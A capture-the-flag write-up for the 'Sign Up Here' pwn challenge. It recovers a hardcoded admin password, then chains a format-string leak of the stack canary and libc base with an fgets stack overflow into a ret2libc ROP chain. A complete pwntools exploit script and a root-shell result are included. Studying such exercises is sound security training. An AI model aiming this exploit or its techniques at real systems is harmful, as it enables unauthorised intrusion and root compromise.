← All writeups

Pwn

Sign Up Here / PWN2PLAY

Category: pwn / binary exploitation (format-string leak → ret2libc) Target: 34.63.108.139:1337 Binary: 1776008726_sign_up_here (ELF64, x86-64, PIE, dynamically linked, not stripped) Flag: P2P{HuH_Th3r3_wA5nT_4_w1N_fUNcT10n_H0w_D1d_y0u_G3t_H3r3}

A menu-driven "player account" program. Unlike the typical beginner pwn, this one ships with the full mitigation suite, so the flag name is a taunt: there is no win() — you have to leak libc and ROP your way to system("/bin/sh").


1. Recon

$ file 1776008726_sign_up_here
ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped

$ readelf -d ... | grep FLAGS
 FLAGS    BIND_NOW
 FLAGS_1  Flags: NOW PIE
Mitigation Status Consequence
PIE Code & GOT addresses randomized → need a leak.
Full RELRO ✅ (BIND_NOW) GOT is read-only → no GOT overwrite.
Stack canary Linear overflows must preserve/leak the canary.
NX No shellcode → ROP.

No system//bin/sh is imported and there is no win function, so the endgame must be a ret2libc built from a leaked libc base.

Functions / structure

The account is a struct on main's stack passed by pointer to every handler:

offset field size
+0x00 username 0x20
+0x20 email 0x20
+0x40 university 0x20
+0x60 registered flag int
+0x64 modification count int

Main menu options are matched by strcmp: "1" register, "2" update, "3" view, "0" exit — plus a hidden "DEBUG"admin_loginadmin_debug_menu.

read_line(buf, n) = fgets(buf, n, stdin) + strip newline (bounded). register_account / update_account_details / view_current_profile are all correctly bounded — the bugs live behind the admin gate.


2. Stage 0 — recover the admin password

admin_login reads ≤17 bytes and calls admin_check_password, which requires strlen == 17 and then, per character:

(password[i] * 7168) / 5  ==  arr[i]        # signed integer division (truncating)

against a hardcoded 17-entry table. Inverting (c = arr[i]*5 // 7168, brute 0..127):

arr = [0x1c000,0x11800,0x1c000,0xfc00,0x16c00,0x23000,0x1af33,0x24c00,0x1b4cc,
       0x21400,0x17ccc,0x23599,0x224cc,0x28f33,0x240cc,0xb8cc,0xeb33]
pw  = "".join(chr(next(c for c in range(128) if (c*7168)//5==a)) for a in arr)
# -> "P2P-AdMiN_Debug!*"

Password: P2P-AdMiN_Debug!*


3. The two bugs in admin_debug_menu

Bug A — double format string (leak primitive)

When the account is registered, the profile is rendered in two steps:

snprintf(bufA, 0x100, "Current Registered Username: %s\n"
                      "Current Registered User Email: %s\n"
                      "Current Registered User University: %s\n"
                      "Number of Account Modifications: %i\n",
         username, email, university, mod_count);
sprintf (bufB, bufA);          // BUG: bufA contains attacker text -> it's the format string
printf  ("%s\n\n", bufB);       // result is printed -> NON-BLIND

Whatever I store in username/email/university is copied verbatim into bufA by the first snprintf, and then interpreted by sprintf(bufB, bufA). printf("%s", bufB) echoes the result, so it's a fully readable format-string leak.

bufA sits at rbp-0x210; the sprintf varargs (%5$ = first stack slot) start at rbp-0x230, which makes bufA's content begin at arg 9. From the frame layout:

arg slot value
%74$p rbp-0x8 stack canary
%75$p rbp+0x0 saved rbp
%76$p rbp+0x8 return into main (PIE base + 0x1cc8)
%94$p main's rbp+8 return into libc = __libc_start_main_ret

So %74$p|%94$p| in the username leaks canary + libc base in one shot.

⚠️ Keep the leak short: sprintf into bufB (0x100) is unbounded; a long leak would overflow bufB into the canary and crash on admin_debug_menu's epilogue. Two %p is plenty.

Bug B — fgets stack overflow (control primitive)

The "Report a Player" sub-menu (option "1") does:

read_line(bufA, 0x20);                 // reporter username (bounded)
fgets(bufB /* rbp-0x110, 0x100 bytes */, 0x200, stdin);   // 512 bytes -> OVERFLOW

bufB is 0x100 bytes but fgets reads up to 0x200. Distance from bufB to the canary (rbp-0x8) is 0x108 = 264, so:

offset 264 -> canary
offset 272 -> saved rbp
offset 280 -> return address  (== ROP)

fgets happily passes NUL bytes (only \n terminates), so a ROP chain with null high-bytes is fine.


4. Putting it together (single connection)

Both bugs fire inside one admin_debug_menu visit: the profile display leaks, then "Report a Player" overflows. The chain is a textbook ret2libc with an extra ret for movaps stack alignment:

payload = b"A"*264 + p64(canary) + p64(junk_rbp)
        + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)

On admin_debug_menu's leave; ret, the (correct) canary passes, and control flows into system("/bin/sh").

Matching the remote libc

The first remote run failed a sanity check: the leaked __libc_start_main_ret ended in 0x083, but my local glibc (2.31-0ubuntu9) ends in 0x0b3. Downloading Ubuntu 20.04 patch levels and computing the return offset after call rax inside __libc_start_main pinned it to glibc 2.31-0ubuntu9.18 (ret = 0x24083, low-12 = 0x083 ✓):

symbol 9.18 offset
__libc_start_main_ret 0x24083
system 0x52290
/bin/sh 0x1b45bd
pop rdi ; ret 0x23b6a
ret 0x22679

libc_base = leaked_arg94 - 0x24083. Everything else is computed from the per-connection leak, so the exploit is otherwise ASLR-independent. A retry loop covers the rare case where a canary/address byte is 0x0a (which fgets would truncate).


5. Exploit

#!/usr/bin/env python3
from pwn import *
import re
context.arch = 'amd64'
PW = b"P2P-AdMiN_Debug!*"

# glibc 2.31-0ubuntu9.18 (remote)
LSM, SYS, SH, RDI, RET = 0x24083, 0x52290, 0x1b45bd, 0x23b6a, 0x22679

def pwn():
    p = remote("34.63.108.139", 1337)

    # register, embedding leak directives in the username field
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Username: ", b"%74$p|%94$p|")   # canary | __libc_start_main_ret
    p.sendlineafter(b"Email: ", b"x")
    p.sendlineafter(b"Name: ", b"x")

    # enter DEBUG -> profile display fires the format string
    p.sendlineafter(b"> ", b"DEBUG")
    p.sendlineafter(b"Password: ", PW)
    data = p.recvuntil(b"[1] Report a Player", timeout=8)
    toks = re.findall(rb'0x[0-9a-f]+|\(nil\)',
                      data.split(b"Username: ")[1].split(b"\n")[0])
    val  = lambda t: 0 if t == b'(nil)' else int(t, 16)
    canary, lsm_ret = val(toks[0]), val(toks[1])
    libc = lsm_ret - LSM
    assert libc & 0xfff == 0
    system, binsh, pop_rdi, ret = libc+SYS, libc+SH, libc+RDI, libc+RET

    # "Report a Player" -> fgets(bufB, 0x200) overflow -> ret2libc
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Username: ", b"x")
    rop = p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
    payload = b"A"*264 + p64(canary) + p64(0x4141414141414141) + rop
    assert b"\n" not in payload
    p.sendlineafter(b"Short Reason for Report: ", payload)

    p.sendline(b"id; cat flag* /flag* 2>/dev/null")
    p.interactive()

pwn()

Result

uid=0(root) gid=0(root) groups=0(root)
P2P{HuH_Th3r3_wA5nT_4_w1N_fUNcT10n_H0w_D1d_y0u_G3t_H3r3}

Service runs as root, so the chain yields a root shell.


6. Takeaways

Flag: P2P{HuH_Th3r3_wA5nT_4_w1N_fUNcT10n_H0w_D1d_y0u_G3t_H3r3}